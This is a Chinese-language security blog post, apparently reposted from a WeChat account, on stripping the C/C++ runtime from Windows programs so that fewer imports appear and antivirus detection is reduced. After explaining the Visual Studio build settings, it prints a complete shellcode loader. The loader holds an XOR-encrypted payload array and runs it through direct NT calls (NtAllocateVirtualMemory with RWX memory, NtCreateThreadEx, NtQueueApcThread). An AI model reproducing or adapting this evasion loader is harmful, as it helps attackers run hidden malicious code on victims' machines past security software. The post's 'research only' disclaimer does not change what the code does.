C/C++标准库移除

admin 2025年1月9日10:45:47评论5 views字数 4133阅读13分46秒阅读模式

CRT库是用于C或C++程序的标准库,它提供了一组基础功能,包括内存管理,输入输出,字符串操作等等。

这些功能它可以使编写C或C++程序更加方面,

CRT库是在应用程序启动的时候初始化的,一般负责设置运行时环境,堆栈,堆内存,全局变量的初始化等等。

CRT库一般都有一个入口函数,例如 _start 或 mainCRTStartup来启动程序的主函数。

为什么要移除CRT库?

首先是可以减少对于外部库的依赖,还有就是减少检测,标准库函数容易被安全软件检测到,因为这些库函数的行为已经被杀软分析烂了。

移除CRT库可以减少可执行文件的体积,另外标准库函数的行为和调用方式都是已知的,直接调用Windows API可以避免一些基于行为分析的检测。

VS编译配置配置移除CRT

我们之前一直没有解释过VS中编译的选项是什么意思。

在编译选项这里,MTD表示静态拦截CRT库,包含调试信息

MT也是静态链接CRT库,但是不包含调试信息。

MDD是动态链接CRT库,包含调试信息。

MD也是动态链接CRT库,不包含调试信息。

一般静态包含CRT库的话文件会变得很大。但是无需依赖外部CRT DLL,可以在没有CRT库的系统上运行。

如果使用动态去链接CRT库的话,生成的可执行文件在运行时依赖外部的CRT DLL,比如msvcrxxx.dll,其中的xxx表示版本号。

动态生成的话可执行文件是较小的,因为CRT库的代码不包含在可执行文件中。

但是如果目标系统没有安装相应的CRT DLL,那么程序将无法执行。

那么我们了解完这些选项之后,我们就需要去移除CRT库了。

首先在优化这里,我们将全程序优化更改为否。

C/C++标准库移除
禁用C++异常。
C/C++标准库移除
然后我们去禁用生成调试信息。
C/C++标准库移除
禁止生成清单。
C/C++标准库移除
紧接着忽略所有的默认库。
C/C++标准库移除
设置入口函数,因为我们之前说过CRT库用于设置运行时环境,那么我们既然已经将CRT库移除了,所以我们需要去设置入口的函数。
C/C++标准库移除
现在我们就可以去尝试编译了。
C/C++标准库移除

现在我们使用dumpbin的方式去查看导入的函数。

如下图我们可以看到我们只导入了GetModuleHandleA函数。

C/C++标准库移除

那么CRT库既然移除了,如果说我们想使用CRT库中的函数的话,我们就需要自己去实现了。

如下链接。
https://github.com/vxunderground/VX-API/blob/main/VX-API/StringLength.cpp

当然如果你不是用CRTT库中的函数,而是使用Windows API函数也是可以的。

如下代码配合系统调用来进行实现,并移除CRT库。

#include <stdio.h>#include <Windows.h>#include <TlHelp32.h>#include "syscall_enum.h"unsigned char cjk[] = {0x30, 0xdc, 0x60, 0x89, 0x70, 0x24, 0x54, 0xe3, 0x6d, 0x80, 0x8d, 0xc5, 0xa2, 0x3d, 0xd2, 0x9d, 0xc2, 0xab, 0x5c, 0x52, 0xa9, 0xdc, 0x68, 0x3f, 0xe0, 0x84, 0x1f, 0xb1, 0x75, 0xc8, 0x47, 0xc6, 0xc3, 0x25, 0x0b, 0xbe, 0xc4, 0xab, 0x62, 0x37, 0x86, 0xde, 0xae, 0x5c, 0x49, 0x84, 0xa5, 0x23, 0xc1, 0xbc, 0xad, 0xe8, 0xe1, 0x41, 0xa0, 0x8d, 0x55, 0x2a, 0x60, 0xc1, 0xcd, 0x55, 0x01, 0x80, 0xd2, 0x8d, 0xc5, 0xab, 0xe6, 0xd2, 0xec, 0x1f, 0xa1, 0x51, 0xc8, 0xcd, 0x44, 0x68, 0xed, 0x08, 0xcc, 0x94, 0xe3, 0x25, 0x05, 0x0c, 0xe0, 0x84, 0x25, 0x81, 0x1c, 0xc4, 0x68, 0x25, 0x98, 0x88, 0x1f, 0xa3, 0x4d, 0xc9, 0xcd, 0x44, 0x00, 0x3b, 0xc8, 0x33, 0x5d, 0xa2, 0xe6, 0xb4, 0x44, 0xdc, 0xe2, 0xbb, 0xcd, 0xfd, 0x5d, 0xab, 0x5c, 0x40, 0x60, 0xd5, 0x22, 0xa4, 0x8d, 0x8d, 0x95, 0x22, 0x55, 0x60, 0xb9, 0x65, 0xaf, 0x6e, 0xcc, 0xe8, 0x9c, 0xa6, 0x54, 0x51, 0xb9, 0x4c, 0xbb, 0x29, 0x0b, 0x8c, 0xb0, 0xaa, 0x6c, 0x50, 0xaa, 0xd5, 0x68, 0x61, 0xc8, 0x88, 0x1f, 0xa3, 0x71, 0xc9, 0xcd, 0x44, 0xa2, 0xe6, 0x84, 0x44, 0xdc, 0xe2, 0xbd, 0xc1, 0x94, 0xd5, 0xbb, 0x33, 0xd9, 0x96, 0xd5, 0xbb, 0x2c, 0xd9, 0x8d, 0xce, 0xab, 0xee, 0x6c, 0xec, 0xd5, 0xb1, 0x92, 0x60, 0x94, 0xd5, 0xba, 0x37, 0xc8, 0x47, 0x86, 0x0a, 0x3a, 0x7f, 0x33, 0x6b, 0xbe, 0x25, 0x3a, 0xcd, 0x94, 0xe3, 0x6d, 0x80, 0xcc, 0x94, 0xe3, 0x25, 0x0d, 0x41, 0x95, 0xe2, 0x6d, 0x80, 0x8d, 0x2e, 0xd2, 0xe6, 0xef, 0x4b, 0x6b, 0x36, 0xd6, 0x60, 0xd1, 0xbe, 0xe9, 0x2c, 0x3a, 0x6a, 0x01, 0x5e, 0xf0, 0x7f, 0x19, 0xdc, 0x60, 0xa9, 0xa8, 0xf0, 0x92, 0x9f, 0x67, 0x00, 0x37, 0x74, 0x96, 0x68, 0x3b, 0x8b, 0x87, 0x91, 0x02, 0xea, 0xcc, 0xcd, 0xa2, 0xe4, 0x5a, 0x33, 0x41, 0x80, 0x0c, 0xec, 0xaf, 0x94};
unsigned char ckj[][16] = {    {0x53, 0x20, 0x0b, 0x21, 0xff, 0xbb, 0x0e, 0x62, 0xd1, 0x7d, 0x41, 0x22, 0x2f, 0xc1, 0xfa, 0x66},    {0xad, 0xa6, 0xbc, 0x11, 0x89, 0xcd, 0xda, 0xa0, 0x34, 0x37, 0x50, 0x44, 0x7f, 0xf3, 0x09, 0x9e},    {0x1e, 0xa5, 0xad, 0x2a, 0x6b, 0x81, 0x15, 0x5f, 0x80, 0x3f, 0x62, 0x7c, 0xde, 0x8b, 0x7d, 0xf6},    {0x6b, 0xba, 0xf4, 0x54, 0x3f, 0xce, 0x4b, 0x43, 0xae, 0x22, 0xe8, 0xa5, 0x61, 0xe8, 0xdb, 0x76},    {0x5c, 0x8d, 0x5d, 0x03, 0xd1, 0x11, 0x63, 0x52, 0x26, 0xbb, 0x03, 0x38, 0xd7, 0x37, 0x6d, 0xd5},};void xor_decrypt(unsigned char* data, size_t data_len, unsigned char keys[][16], size_t num_keys, size_t key_length) {    size_t key_index = 0;    for (int i = 0; i <= 10000; i++) {
    }    for (int i = 0; i <= 10000; i++) {    }  for (int i = 0; i <= 10000; i++) {    }    for (size_t i = 0; i < data_len; i++) {        unsigned char* key = keys[key_index];        for (size_t k = 0; k < key_length; k++) {            data[i] ^= key[k];        }        key_index = (key_index + 1) % num_keys;    }}
int main(){
    HANDLE hProcess = GetCurrentProcess();    PVOID paddress = NULL;    SIZE_T size = sizeof(cjk);    ULONG protect = PAGE_EXECUTE_READWRITE;    NTSTATUS status1 = NtAllocateVirtualMemory(        hProcess,        &paddress,        0,        &size,        MEM_COMMIT | MEM_RESERVE,        protect    );    xor_decrypt(cjk, sizeof(cjk), ckj, sizeof(ckj) / sizeof(ckj[0]), sizeof(ckj[0]));    memcpy(paddress, (LPVOID)cjk, sizeof(cjk));
    HANDLE hThread = NULL;    NTSTATUS status = NtCreateThreadEx(        &hThread,        THREAD_ALL_ACCESS,        NULL,        hProcess,        (PVOID)paddress,        NULL,        FALSE,        0,        0,        0,        NULL    );
    NTSTATUS status2 = NtQueueApcThread(        hThread,        (PKNORMAL_ROUTINE)paddress,        NULL,        NULL,        NULL    );    Sleep(1000);
    VirtualFree(paddress, 0, MEM_RELEASE);    CloseHandle(hThread);
}

可以看到导入的函数如下:

可以看到只导入了这几个函数。

C/C++标准库移除

原文始发于微信公众号(Relay学安全):C/C++标准库移除

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日10:45:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   C/C++标准库移除http://cn-sec.com/archives/3606252.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息